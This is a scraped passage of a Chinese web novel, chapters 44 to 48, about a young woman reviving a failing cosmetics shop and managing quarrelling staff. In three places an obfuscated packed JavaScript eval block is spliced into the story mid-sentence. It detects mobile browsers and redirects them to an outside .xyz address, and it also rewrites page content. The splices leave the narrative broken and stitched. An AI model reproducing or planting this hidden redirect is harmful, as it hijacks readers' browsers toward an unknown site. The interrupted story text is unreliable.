春花刻薄地反问道：“不是贼？那我问你身份你为什么不说？要我看你肯定是做贼心虚！就该把你抓到大爷面前去，要大爷好好地审问你！” 一听到要去找林听澜，紫玉一下子反应过来了，她可不想再看见那张冷冰冰的脸，更不想被那张脸审判！ 在更深的恐惧下，她反倒不怕春花了，面对她咄咄逼人的反问，张口急急反驳道：“我不是贼人，我是香玉坊的掌柜，听说东家病了，特来此拜访，我真的不是贼人……” “香玉坊？”春花好像是从白栖枝嘴里听说过这三个字。 她细细咀嚼了一番，又看倒在地上的女子不像是撒谎的样子，这才渐渐消了怒火，冷冷道：“既然你说你是白小姐的人，那我就捉你去见她，只是我方才刚熬好的汤药被你撞撒了，你说，你怎么赔？！” “我……”都说一物降一物，紫玉自诩自己也算是个不好惹的人物，可如今碰上了比她还不好惹的，反倒弱下气势来， 她小声嗫喏着，眼里藏着泪，一时间竟不知该如何是好。 见她这幅可怜样儿，春花倒也软下心肠来了。 她默了默，开口道：“行了，既然是白小姐的人，这药也不用你陪了，但你得陪我去灶房走一趟，白小姐 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“哎呀知道的，放心吧芍药姐，只要再没有不长眼睛的撞上我，我肯定不会弄洒的！”春花说着，白了旁边的紫玉一眼，随即又朝着芍药笑道，“那芍药姐我先走啦，等新药来了你记得告诉我，我好给枝枝送过去。” 芍药点点头：“好。” 出了灶房，瞧着紫玉那副不敢吭声的样子，春花怒从心中来道：“都怪你！要不是你，这药早就送到枝枝手里了！我告诉你，枝枝要是因为你这一碗药耽搁了身体，我一定拿你是问！” 紫玉懦懦地点点头。 两人辗转来到西厢房门前。 “笃笃笃。” 三声敲门响过，屋内传来白栖枝文弱的声音：“谁呀？” 春花立刻答道：“枝枝是我，我来给你送药啦！” 屋内人急忙应道：“哦哦，是春花姐姐呀，等我一下，我这就开门。” 随即只听见屋内一阵乱响，甚至还夹杂一声被绊了下的“哎呀”声，乒里乓啷一阵响后，门开了。 见到紫玉的一瞬间，白栖枝也是一愣，讷讷开口：“紫玉阿姊……” “咦？枝枝你认识她呀？”春花道，“你不知道，方才她在后院儿里鬼鬼祟祟，还把我手里的药给撞洒了，害得我只能拿新的给你，这药有些凉了，你赶紧喝哈！” 春花将药塞进白栖枝手里，又朝着紫玉愤愤道：“既然你真是枝枝的人，那我这次就饶过你，要是下次你还敢撞我，我指定要你吃不了兜着走！哼！” “我……” 春花并不给她开口的机会，方说完吓唬她的话，又关切地同白栖枝道：“枝枝快进去，你身子还没好，不能吹冷风的。既然你们两个有话要说，我就先走了，待会儿再来看你，一定要记得喝药哈！” 说完，又不解气地白了紫玉一眼，转身离去。 “我……”紫玉绞着手指不知道该如何是好。 她本就是来找白栖枝问个清楚的，可眼下这乱子一出，反倒叫她不知说什么好了。 白栖枝自然是看出了她的惊慌。 她没有说什么，将带着药碗余温的手抬起，搭在她绞在一起的手上，一张泛白的薄唇带着笑，同她温声道：“阿姊一路赶来也不容易吧？外头冷，我们进屋说吧。” …… 45. 请求 进了屋，白栖枝先是拨了拨快要熄灭的火盆，又拍了拍凳子上的灰，这才做了个“请”的手势。 “阿姊请坐。” 这时紫玉第一次来到林府的厢房，竟局促起来，量着步子上前小心翼翼地四处打量着，一打眼就看到白栖枝床边那堆几乎比床还要高的书和书边纷乱的纸页，上头写着密密麻麻的字，她看不清，只隐约看见了“胭脂”两个大字。 见她一直撇过头去看，白栖枝反倒不好意思起来：“抱歉，我不知道阿姊要来，内室些许杂乱，还望阿姊不要见怪。请坐。” 说着，拉着紫玉的手同她一起坐到桌旁，絮絮问着铺子里的事，紫玉也一一答了。 听闻香玉坊开张，白栖枝一直紧绷着的小脸终于舒展开一丝笑意来。 “太好了。”她叹息着，脸上满是满足的笑意，盈盈地看着紫玉，“亏得有阿姊在，不然铺子只怕不会这么早就能开张营业，枝枝在此谢过阿姊了。”说着，就要起身欠身行礼。 紫玉一把拉住她，面对白栖枝，她还会是不由自主摆出那副刻薄模样，但语气较之之前已柔和了许多。 “你不用对我说这个。”她说，“方子是你写出来的，功劳该是你的就是你的，我没必要与你争，也不需要同你争。” 白栖枝道：“这不是争不争的问题。”她长长舒了口气，笑着解释道，“虽然方子里有我的手笔，可若不是有紫玉阿姊，这方子也只能是一张废纸。我既然写了这方子，便也清楚这方子做出来要有多不易，听闻说紫玉阿姊为了将这方子做出来，整日整日的不睡觉，才连着赶了两天就把它做了出来，其中心灵手巧，怕是整个淮安的制粉师也没几个能比得上紫玉阿姊呢。” 她说得真诚，连带着一双水葡萄似得大眼睛里也闪烁着崇拜的目光，实在难令人再对她说出什么刻薄的话来。 被她这么一夸，紫玉心里顿时熨帖了不少，脸上浮起红云，身上也跟着飘飘然起来。 “那是！”她得意洋洋道，“我十三岁就跟这师父学制粉了，学了十年，又在铺子里兼了两年的制粉师，就算不是淮安顶好的制粉师，也比大多数人强得多，更何况我这十二年，几乎是将所有制胭脂的法子都做了个遍了，你那个小小的方子又哪在话下？不过——” 说起方子，紫玉原本熠熠闪烁的眸子又暗淡下来，连带着整个人都闷了起来，垂下视线，抿着嘴不吭声。 白栖枝知她心情不好，也不出声，只是顺着她滑落的视线往下侧身，小心地观察着她的神色，坐在她面前一直默默陪着。 良久，紫玉才闷着声音开口道：“你那个……方子，是从哪里来的？”她咬了咬下唇，“我制粉十二年了，几乎所有的方子都做过，你那个方子明明是最普通的法子，可为什么制出来的东西却比我平时做出来的还要好？玫瑰、紫草、红蓝花、珍珠粉、珠光云母粉，明明我平时用的也是这些东西，可为什么还是输了？我不甘心，所以才来找你问个明白。” 白栖枝顿时心下了然，悠然一笑道：“劳烦紫玉阿姊等我一下。”说完，便朝着她那堆小山似的书籍手札走去。 紫玉就看着她在里头翻翻又捡捡，一会儿“哎呀不是这个”一会儿又“嘶，是不是在这里面？翻一下”，她在里头找了好久，比指节还要厚的笔记被她翻了又翻，终于—— “对了！就是这个！” 白栖枝太高兴了，她急着将自己研究出的东西拿给紫玉看，以至于脚下的步子凌乱，在即将靠近紫玉的时候一个不小心左脚拌右脚。 “哎呀！” 随着一声惊呼，她向前扑去，好在紫玉眼疾手快地扶住了她，不然她就要摔到人家怀里去了。 “就是这个。”白栖枝一研习起来就忘情了，甚至没有看见紫玉奇怪的神情，泛着厚厚的手札将自己学到的方法指给她看，“是油脂，我在方子里加了茶花油，书上说，若将适量茶花油加入胭脂，搅拌均匀，便能使胭脂变得光滑易涂抹，但又不能一次加入过多的油脂，得逐步加入并充分搅拌才可以，只是这个量太难易把控了，我病前不再香玉坊的那段时间，就是去同不同的制粉师门询问这茶花油每次加入的量究竟是多少，但大家的回答各不相同，我又去翻了古籍，你看——” 见她一心扑在手札上，紫玉原本悸动的心竟一点点平息下来。 她顺着白栖枝指尖滑动的痕迹看去，听着她在自己耳畔温声讲解，时不时就着上头的东西问上一两句，白栖枝便又从那堆山似得古籍中给她翻来出处，一来二去之下，紫玉也对她卸下心防，承认她的努力，一同探讨着书中的做法，待到白栖枝发表自己的见解时也俯身倾耳以请，不出一言以复。 渐渐地，紫玉忽地发现，自己竟将曾经所学的一切都一点点串联起来了。 霎时间，天朗气清。 枉她学了这么多年，只知道一事是一事，将事事做得分明，竟忘了将它们一起串联起来。 如今这些陈杂在她脑海的东西，如一颗颗拂去灰尘的明珠，被一根看不见的丝线一颗颗穿连起来，竟做成了一串绝美的珍珠项链点缀在她脑海中，万物分明。 许是说得太急，待到这一段落下，白栖枝竟难以自已地撇过头去咳嗽起来，紫玉这才意识到她还在病中，便又看了看床头的那些书，又看了看她那张苍白的小脸，一时间心绪复杂。 “这些，都是你从接手铺子后学的？” 白栖枝止了咳嗽，听到她这么问，细细想了一下：“也不是。”她回忆了一下，“自从沈哥哥同我说要我接手香玉坊后，我便一直在学习该如何经营铺子，为了更好的了解坊内经营制度，我还特地去其他胭脂水粉店内偷偷学习人家的经营方法，看到什么便记下什么，就是有一次问得太多，惹得人家不耐烦了，差点把我赶出来。至于紫玉阿姊方才在探讨时问我是如何知晓胭脂制作方法的——” 她转头看向那些厚厚的古籍，又垂头看向自己手中厚厚的、页角泛黄褶皱的手札，羞愧道：“说来惭愧，确实是从接手了铺子才开始一点点学的，我天资愚钝，脑子也笨，有些事情看过也未必能懂，只能这样一页页记下来，遇到不懂得地方又得去买其他的书来看，看完再记再学。床头摆的这几本是我病后才看的，病前其实也看了几本，只不过没有那么多，但看的时候也有好好记下，这才没有都摆出来。” “其实铺子里的大家说得也对，我年纪轻，且资质尚浅，在诸位面前我又算什么东家？但我是真心想让香玉坊好起来的，甚至比诸位还想让它好起来，这句话我绝不作假。” “当然，我也不是没有私心的，说来惭愧，在接手香玉坊的第一天，林哥……不，是大爷，大爷同我下了个赌注，要我在一个月内将香玉坊恢复如初，否则他便再不会让我出林府半步。” “可我不想一直被困在林府。” “是女子也好，年纪小也好，我不想一直被困在这里，我不是林家的附庸，我当属我自己！是女子又怎样？年纪小又怎样？我又不是离了他们就活不下去了，何必又留在府里一直仰人鼻息？天下人都说女子担不了事，可我偏想要做出一番事业，到时候我做什么都自有我的说法，何故还要让他人戳着我的脊梁骨对我指手画脚？所以，我是真的很像让咱们香玉坊立起来，只要它立起来了就说明我也有我的本事，我不是个只会依附于林家苟延残喘的女娘。可我若是输了——” “可我若是输了，我便得将自己这辈子都赔进去了。所以不是我故意想和大家对着干，也不是故意要和大家过不去，实在是、实在是我没有时间了……” 听她这一番话，紫玉内心激荡不已。 一个月，一辈子，如此赌注，她一个小姑娘竟也敢赌。 那可是大爷啊，挥一挥手就能将人压死的人物，她竟也敢争？她竟也敢赌？ 她究竟是什么人物？ 一时间，紫玉发现竟自己对白栖枝一无所知，她只知道她是林听澜和那人的人，只知道她是被派来香玉坊的新东家，除此之外，有关于她的过往，有关于她的来历，竟是一无所知。 到底是怎样的家世才能养出如此温润又有胆识的孩子？ 紫玉心下翻起千层惊涛骇浪，她下意识把住白栖枝的胳膊，想将她看个仔细，却因为太过激动，指甲几乎要陷进她的肉里。 这么一握，她才发觉白栖枝其实并不像她看起来的那么珠圆玉润。 小姑娘太瘦了，这么一握，她甚至能掐到皮肉之下那根硬硬的臂骨，但小姑娘的脸又长得很圆，恰好弥补了这一点，叫人打眼看上去，还以为她是个团乎乎的千金大小姐。 可白栖枝是真的当过千金大小姐的，在她没有来求林家庇护之前，在她的家还没有覆灭之前，她可不就是个官宦人家里娇贵的金枝玉叶？ “紫玉阿姊。”一向爱哭的白栖枝这时却没有半分泪点，她平静又温润地看着紫玉，几乎是呢喃地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14926913|157766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恳求道，“栖枝愚钝，恳请阿姊帮帮栖枝吧……” 她在求她，她一个东家竟然能放下身段来求她一个小小的售货娘子。 这在她前半生的人生里几乎是闻所未闻——淮安最不缺的就是人才，你不肯干有的是人肯干，底下有的是人对你的职位虎视眈眈。 可纵然她对这位新东家如此无礼，东家也未说过她半分，甚至还在这里放下身段求她垂怜。 自己难道还病着么？难不成自己是病得糊涂了连梦境与现实都分不清楚了？紫玉暗暗地想。 手里突然压来了厚重的分量。 紫玉低头去看，就见着白栖枝将那沓付诸全部心血的手札轻轻放到了她手中。 “枝枝不懂制粉，这些东西放在枝枝手里也是糟蹋，倘若紫玉阿姊不嫌弃，枝枝可否将此物留到阿姊手里？这样一来，它就有了用武之地，就不算是糟蹋了。” 白栖枝一瞬不瞬地看着，一双温柔杏眸里满是关切地询问，没有半点主子的架子。 紫玉看着她的眼，视线上移，落在她眉心那枚极其细小的红痣，随即又将视线落了回来。 白栖枝还是笑着，温润的，和善的，像个小小的白仙子。 真是小神仙似的人物——紫玉平生第一次如此夸一个孩子。 良久，她也温和了眉目，叹息道：“你这又是何苦？你早些同我们说这些事，我们也不必如此待你。” “只怕是早说了诸位也不会信我，不若不说。”白栖枝看着她的神情，忽地笑了，“难不成紫玉阿姊在可怜我？” 紫玉嗫喏道：“我……” “不要可怜我。”白栖枝打断了她的话，正色道，“我既是香玉坊的新东家，挨什么骂都是我应得的，我不可怜，我手里还握着香玉坊，至少我不值得紫玉阿姊你可怜。人……”猛地，又是一阵剧烈的咳嗽，直到忍住后，她才接了下句，“人不能、至少不应该去怜悯上位者——不要向上去怜悯，要向下看。只有向下看，才能看得到人间最真挚的苦难，只有向下看，才知道自己是为了什么才活着。咳咳咳……” 身染风寒，白栖枝本不该情绪如此激动，可有些话一说出来就像洪水决堤，不一口气吐出来是不能够的，由是她今天才显得絮叨了些——或许她一直都如此絮叨，只是今日才收敛起来，如今遇到一个由头，便又被打回原形了。 待咳嗽过后，白栖枝皱起眉头笑道：“紫玉阿姊，枝枝风寒未好，倘若阿姊再留下去就要同枝枝一起染上风寒了，到时候又会传染给铺子里的其他人，况且现如今铺子刚开张，断然不能缺了阿姊，还请阿姊先回去，待枝枝病后，再带贽礼谢过阿姊。抱歉了……” 紫玉回过神才发现自她进屋后，白栖枝便一口没动过那碗汤药，如今那碗汤药已经凉了，静静地待在桌上，委委屈屈的，仿佛在控诉主人怎么还没喝她。 她点了点头，起身一礼，正色道：“紫玉拜别东家，待东家病好，尽管吩咐紫玉，紫玉定当竭尽所能，必不负东家厚望。” 白栖枝听见“东家”从紫玉口中说出时竟愣了一下，随即也立即起身，朝紫玉一礼道： “那枝枝便暂且谢过紫玉阿姊了，待枝枝病好，定立即回到坊内，与大家同舟共济。” “嗯。”紫玉重重点了点头，随即拿着那沓厚厚的手札转身离开。 看着她渐渐走远的背影，白栖枝吐了口气，缓缓拿起药碗，一饮而尽，随即狠狠皱起眉眼找水喝。 药苦得厉害，就算已经喝过许多也还是会嫌苦。 怪不得沈哥哥会赖药…… 心想着，门又开，白栖枝以为是紫玉去而复返，一抬头才发现是春花来看她了。 见她如此，春花赶紧上前给她倒热水，半是生气半是心疼地埋怨道：“你说你，何必为了一个铺子如此拼命？大晚上的，为了多读几页书竟跑到井边儿用冰水浇自己，这下得了风寒，谁难受谁知道了吧？！” 说完，赶紧把稀释了碗底汤药的热水轻放到她面前，教训道：“多喝点，喝完就赶紧钻被窝，你这病得发几场汗才能好，知不知道？” 知她嘴硬心软，白栖枝笑着点头应道：“知道的，可是——” 她看向紫玉离开的方向，忽而叹了口气，对着空气喃喃道： “可是，不狠不行啊……” 不狠，又怎么能收拢人心呢？ 都是她自找的罢。 …… 46. 离开 熬过最难熬的那几日，白栖枝终于回到了铺子里。 她的回归，也预示着香玉坊也要开始正式营业。 至于规矩，还是按之前她定的那个来：李素染为掌柜，莫当时为副掌柜，至于紫玉，虽然有功，但因这货到底还是莫当时卖出去的，所以依旧本着原职做着售货娘子兼制粉师。 就这样，李与莫成了最大的竞争者，为了“香玉坊掌柜”这一职，李也是做起了好久没做的收货娘子，在店外拉拢女客，而莫当时也继续着之前的状态，在花楼里边喝花酒边揽客，两人都在努力拼命着。 可到底来香玉坊的人还是少。 不为别的，那别人家铺子的货好看又便宜，你香玉坊好看是好看，但是卖的也忒不亲民了些，就算是好，受众面不广又能如何呢？往上上的上不了档次，往下沉的又沉下不去。 还不是没人来？ 李素染连着在外头站了七天，是笑也卖了嘴皮子也磨破了，甚至还拉拢了香玉坊以前的老主顾。 但老主顾们只是端起茶盏，语重心长地同她讲着大差不差的话—— “素染啊，不是我们不卖你这个面子，实在是如今的香玉坊实在是打不出名头啊。” 面对李素染的疑问，有些主顾只让她自己慢慢悟，但也有好心一些的，告知了她其中几分原因： “你看，以前我买你们香玉坊的胭脂，是因为你们香玉坊名头大、做得好，我用出去了也有面子。可如今呢？香玉坊没落了，可别的店铺又没没落，人家的铺子做得越来越好，反倒是你这香玉坊籍籍无名，到时候我们几个老姐妹聚在一起，你说你用的是桃容阁的，她说她用的是秋妆楼的，到我这儿，我说个香玉坊，人家只会说：嗨，都多少年前的老东西了，又不出名，你用它做什么？还不是降低了自己的身份？” “酒香也怕巷子深。所以，素染啊，你现在就是把那些胭脂水粉做出花来也没用，我给你指一条明路，你呢趁着现在赶紧把你们香玉坊的名头搞起来，无论用什么代价。等到名头一起来，客自然就多起来了，你就算做得差些也没关系，就算有人骂，但为了一时的风头，她不仅还会来买你的东西的，并且还容不得别人说你不好呢！” “你是个聪明的，我说了这么多，你也应该悟出其中的滋味了。倒也辛苦你大老远的走这么一趟，你手里这盒呢，我就先买了，但也未必会用，等什么时候你们香玉坊真正立起来了，我再去你店里挑选也不迟。” 被请出府后，李素染只觉得自己脑子里空荡荡的，仿佛只剩下了点茫然与无助。 她当然也知道这个道理，但凡是商品，做得与市面上大多数的同类品大差不差也就得了，剩下的，看的就是名头。 有些东西，就算做得不好，客人们看在名头和曾经的感情上，也还是会买账——因为他们就是用这个来给自己提身价的，若是有人反驳了他们，他们也只会好心劝人家“用点好东西”吧，而不会承认其实真的只是自己心仪的店家东西做得差。 眼下事实就摆在这里—— 香玉坊籍籍无名，引不来什么大客户前来采买，可若是没什么大客户来采买，香玉坊就会一直籍籍无名。 仿佛陷入了一个死循环，李素染看着自己空荡荡的手掌心。 她握了握，却连一丝冷风都握不住，又哪里能握住那些昔日主顾们的心呢？ 李素染失魂落魄地回到坊内，就见着白栖枝似乎在对账查什么东西，她没有在意，只是一直想着之前那位老主顾的话，直到一声欢呼拽回了她的魂。 “好啊！是我赢了！” 看着莫当时激动万分的模样，她一时间还没有反应过来，直到看到白栖枝手中记录的账簿，她才发现，七日考绩已过，按卖货数量，莫当时竟整整多了她两倍。 她输了个彻底。 白栖枝依旧在笑，将属于掌柜的腰牌递到莫当时手中，温声道：“恭喜啊。” “恭喜恭喜！恭喜恭喜！”莫当时简直高兴地说不出话来！ 打小别人就说他没出息，除了一张脸皮长得好外什么都不行，还只会逛花楼喝花酒，长大定是个游手好闲的纨绔！ 可纨绔都得是有钱人家的少爷才能当得起，他靠什么当纨绔？靠他那在林家做粗活脏活的爹么？ 真是笑话…… 而现如今，看着自己手中这块檀木雕刻成的掌柜令牌，莫当时恨不得朝那些所有讥讽过他的人大喊一句：“他才不是没出息！他也是能做成掌柜的了！” 他实在是太高兴了，以至于忽略了前任掌柜李素染的感受。 霎时间，一股无名怒火窜入李素染的心头，她面色一沉，神态中顿时显露出一股难以言喻的愤怒与委屈，顾不得旁人欢喜，大声怒斥道：“不行！” “凭什么不行？”莫当时还没意识到问题的严重性。 他还沉浸在自己的喜悦当中，没意识到周围其他人都在屏息不敢出声，依旧如往常般同李素染打哈哈，甚至还伸手揽过她的肩，打趣道：“没事的掌柜的，我这也就是暂时接手几天，谁不知道你才是香玉坊真正的掌柜，只不过一时输给了我，这才沦落到了副掌柜的位置，但你也不用担心，没准儿过几天……” 李素染：“我说不行就不行！” “啪！” 手狠狠被人打掉，莫当时白皙的手背上渐渐浮出一个红红的巴掌印。 疼痛总是令人清醒。 饶是莫当时再不识趣，如今也得能看见李素染的怒火了。 只见她面色铁青，周身的气息宛若千年寒冰般朝四处发散着冷气，冻得他狠狠一哆嗦，不敢言语。 一旁的紫玉自打来香玉坊后还没见过她如此生气，立马搂过李素染的肩帮她顺气，一边顺一边同白栖枝打着圆场道：“哎呀东家，之前你定这规矩就是为了让我们好好干活儿，现在我们干活儿干的这么认真，就把这规矩废了吧。” “不行喔。”白栖枝居然还在笑，语气较之前更加温润道，“规矩就是规矩，既然立了就得遵守，不然我这做东家的日后还有什么威信可言呢？” 紫玉撒娇道：“哎呀什么威信不威信的？大家都是一家人嘛！更何况素染姐都做了好几年香玉坊的掌柜了，又有功劳又有苦劳，您这一下子让她从这个身份上下来，饶是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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如今这个小丫头居然只因为一次考核就把她从掌柜这个位子上撸下来，推那个不学无术整天只会逛花楼喝花酒、调戏姑娘妓女、除了嘴甜没有半分真本领的莫当时。 既然如此、既然如此！ 那这香玉坊还能不倒么？它能不倒么？ 一时间，恨从胆边生，一个念头陡然从李素染的脑子里生了出来—— 既然香玉坊迟早要被这个小黄毛丫头弄倒，她倒不如先退出去，离开这里，也免得看自己的心血被人付之一炬。 于是，看着白栖枝递过来的新雕刻好不久的副掌柜腰牌，李素染想都没想，就将她的手拂开。 “咔哒” 木牌跌落在店内的地砖上，李素染的声音也连带着响起。 “我原以为东家是个明事理的，没成想竟然会做出如此愚昧无知的裁断，既然如此，与其看着这香玉坊毁在你里，不如我李素染先退一步离开香玉坊，也免得日后伤心。淮安之大，想必东家日后肯定会找到一个比我李素染更能胜任此职的人，那我李素染也没什么留在这儿的道理了，东家——哦不，白小姐，我们后会有期吧！” 说完，李素染狠狠一拂衣袖，大步离开了香玉坊，没有回头。 …… 47. 机遇 完蛋，玩脱了。 最先心虚的当然是莫当时，李素染走的时候他还没反应过来，等到人走得没影他才一拍脑袋反应过来，慌忙问白栖枝道：“东家，完了，玩大发了，掌柜的真走了，这下该怎么办啊？” 白栖枝笑着看向他：“怎么，怕自己担不起掌柜一职？” 莫当时真急了，语速飞快，语调上扬道：“东家！现在哪里是说这个的时候！掌柜的她走了！没了掌柜的，我们几个也撑不起整个香玉坊啊！不行，我得赶快把掌柜的拉回来，不能让她走！” 说着，莫当时撸起袖子就要去追，却被白栖枝一把拉住袖角。 莫当时回看白栖枝，就见着后者悠悠然道：“她会回来的。” “她会回来，你怎么知道她会回来？” 面前只剩下一局残棋，看着如往常般，沈忘尘抬手拍了拍自己身旁的空地：“枝枝，坐。” 白栖枝应声一礼，缓缓坐到沈忘尘面前。 就在上午，李素染负气出走，香玉坊只剩下紫玉、莫伯、莫当时三人，三人皆是一副恹恹的模样，怎么也打不起精气神，白栖枝没有办法，只能将刚开张不久的店又关好，遣三人回去好好休息，等明日他们想明白了，再来也不迟。 这林府里没有沈忘尘无法知道的事儿。 李素染前脚刚走，后脚风雨就传进了他的耳朵里，待到这一阵风雨过后，白栖枝就来了。 对于沈忘尘的疑问，白栖枝只是看着棋局上的黑白二子，缓缓道：“她会回来的。” “已经有法子了？”沈忘尘从棋盅里摸出一粒白玉棋子，见白栖枝不回话，他想了想，将这枚押入局中，“你故意的？” “嗯。”白栖枝倒是答得坦荡。 沈忘尘又拿了黑子：“枝枝可还需要银两？” “不用了吧。”白栖枝想了想，“不过需要朝沈哥哥和林哥哥借一个人。” “借谁？” “谁都好，只要让李掌柜从前和以后都没见过他就好。” “……” 黑棋落下，是个平局。 白栖枝抬眼看向沈忘尘。 见棋局终了，沈忘尘终于舒缓了眉宇。 他浅浅吐了口气，脸上又恢复了往日般和煦的笑容，温声道：“只要不玩得太过，一切就都由枝枝做主吧。” “多谢沈哥哥。”白栖枝说完，又垂眸看了一眼被黑白二子布满的棋局，问顺道，“那枝枝就先去着手准备了，待一切完成，枝枝再来看望沈哥哥。” “去吧。” 清浅的话音落下，连带着如纸薄的柔弱身影也渐渐离开厢房。 沈忘尘是一路目送着白栖枝出去的。 先斩后奏——她何时学来的这一套法子？ 明知林府的一切皆在他耳目之悉，却还是在一切做完之后才来向他请示……又哪里是请示，如同委婉的通知一样，知会他一声罢了。 实话说，沈忘尘并不喜欢这种僭越的形式方式，但因是白栖枝，所以一切都无所谓了。 他将自己的心血都付诸在她身上，她最好是乖顺，但更好是像他，不然他做的这一些又有什么意义呢？ 可恨她是女子，可幸她是女子。 既是女子，那她就一定能代替他光明正大地陪在林听澜身边吧？ 况且她是能生子的。 ——待她替自己嫁给林听澜后，自己会想法子让她受孕的吧？虽然是会有些嫉妒，但至少她会有他的孩子……不，是他们三个人的孩子，待那孩子生下，最好是个男孩儿，自己就可以不留余力地将毕生心血再付诸于那孩子身上，直到那孩子身上也留下他的影子……就这样一人复一人，一代复一代，就算自己身死，可自己的魂灵也会一直缠绕在林家人身上。 他们天生就该在一起，他的血脉天生就该留下他的影子…… 只是这样想着，郁卒在心口多年的浊气仿佛被渐渐地抽走了。 光从窗户纸外透了进来，沈忘尘侧过头去看向窗外—— 天朗气清。 …… 李素染回到住处的时候已经冷静下来了。 她想起之前在店里放的那些狠话，越想越后悔，真的，越想越后悔。 明明是自己将香玉坊一手搭建起来的，里面流满了自己的心血，怎么自己就会因为一个小姑娘激将法说不要就不要了呢？！ 可后悔也已经来不及了，覆水难收，她又不是不知世事的小孩子了，那番话既然是她当着大家的面说的，又哪有在舔着脸回去的道理。 她李素染就算再爱香玉坊也不能不要自己这张老脸了呀！ 况且，况且如今香玉坊那个样子，倒店几乎是必然的事，现如今那小丫头又不知轻重地让莫当时当掌柜的，说句不好听的，他懂个屁的掌柜啊他懂，让他上任还不如揪条狗！ 可话又说回来…… 内心纠结得不行，李素染感觉自己整个人几乎要被分成两半，一半在她的左耳处告诉她：要回去呀要回去的，另一半则在她的右耳朝她吹气说：不要回去呀别回去，回去了你这张脸还往哪搁？ 两个声音相互博弈了半个时辰，最后还是李素染不堪重负，将自己勉强收拾了一下重重扔到床上。 她在强迫她休息。 ——其实并不是我这制度不合规矩，而是李副掌柜您根本输不起？ 白栖枝的话如一只鬼差索命般盘旋在脑海里，李素染想叫她闭嘴，谁知那声音越发地扭曲起来，直到最后她甚至都听不出这究竟是白栖枝发出的声音，还是她自己心魔发出的声音。 是，她就是输不起！ 她就是不甘心！ 凭什么，凭什么只因为一点小小的考绩就将她这么多年的心血抹杀？要知道，最开始香玉坊生意不好，可是她李素染到街上一个人一个人地往铺子里拉，一个夫人接一个夫人地往铺子里拐。 试问哪个好铺子里的掌柜会为了多卖出一盒胭脂到街上抛头露面的？为了多拉到一个顾客她甚至连脸都不要了！将事做到如此，她还有什么不合格的？ 如今不过是因为一场小小的考绩就把她从带了多年的“掌柜”一职上撸了下来，还输给了她平日里最瞧不起的莫当时，这叫她怎么输得起？！ 心绪翻涌如同层云拢月，李素染越想越委屈，越想越生气，想到最后竟起身狠狠捶了下床板愤愤道：“此处不留爷，自有留爷处。好歹也是做过掌柜的，姑奶奶我去别的店做工还不行么？” 可事情又哪里像她想的这么简单？ 她说过的，淮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“嗨，我，桃妆轩的老东家啊！钱老板！哎呀你忘了？你以前还同我做过生意呢！那时候你还兼着香玉坊里的售货娘子，我和我夫人只是上街逛逛就被你拉到了香玉坊里头，我呢，就是做胭脂水粉的起家的，我夫人用的也一直是我们桃妆轩的胭脂，可谁知你一张巧嘴、能说会道，硬把我夫人哄得开心极了，这才破天荒地去你们铺子里买了胭脂来用。当时你们那胭脂还起了个好名字呢？叫什么？醉颜娇！你不会连自己铺子里的东西都不急得了吧？” 醉颜娇。 确实是他们香玉坊的东西没错，之所以叫这个名字，是因为涂上这胭脂之后，面部会呈现出如同年少女醉酒后脸红娇羞之貌，既艳丽又不显突兀，这才起了这么个名字。 不待李素染开口询问，那钱老板又唾液横飞地讲了些七七八八的细节，其中具体，李素染也记不得太清了，听他这么一说，又隐隐觉得有些印象，这才渐渐卸下心防来，问道：“那不知钱老板此番来找，是所为何事？” 那钱老板本来讲的口干舌燥，眉眼间都生出几分疲惫来，听她这话，霎时间又兴奋起来，眼里冒着金光，开心道： “我此番来找李掌柜，自然是想拉着李掌柜做笔大生意呀！” …… 48. 签契 大生意？ 听到这三个字，李素染原本放下的心又悬了起来。 俗话说天下没有白掉的馅饼——除非对方想从你身上得到什么。 见她一脸狐疑警觉，钱老板大方一笑，似是拉家常般解释道：“不瞒李掌柜，自香玉坊倒下以来，其客人大多被我们这些以前名不见经传的小作坊吸食，说句不好听的，我们是吸着香玉坊的血才一点点做起来的，如果香玉坊没没落，这泼天的富贵也轮不到我们头上来。” “哼。”李素染几乎是鼻腔里挤出一个字来。 她态度轻薄，钱老板也不怪她，反倒是更是坦然。 他一只肥厚的大掌盘着手里那副油光水滑的核桃，瞧着她不肯看他的目光，不紧不慢道：“想当年香玉坊就是凭着李掌柜才一手撑起来的，如今香玉坊即将闭店，那李老板是不是也该想着给自己谋求一身退路了？” “谁说香玉坊要倒！”李素染面有恚色想要拂袖而去，可转而一想，这香玉坊闭不闭店又跟她有什么关系呢？ 她已经不是香玉坊的掌柜了，甚至都不是香玉坊的人了。 香玉坊早就跟她没关系了……对！那劳什子的香玉坊早就跟她没关系了，与其为人家操心，还不如多多关心她自己呢！ 连着受了三天的委屈，饶是李素染再怎么意气自若此时也再沉不住气了。 与其说是沉不住气，倒不如说是咽不下这口恶气！ 哪怕是为了自己这张脸，她也不能够再回头瞧了，她不能被一个黄毛小丫头瞧不起！ 李素染愤愤不已。 钱老板一直在仔细地观察她的神情，见她面露愠色，便知她此时已气得失去了大半理智。 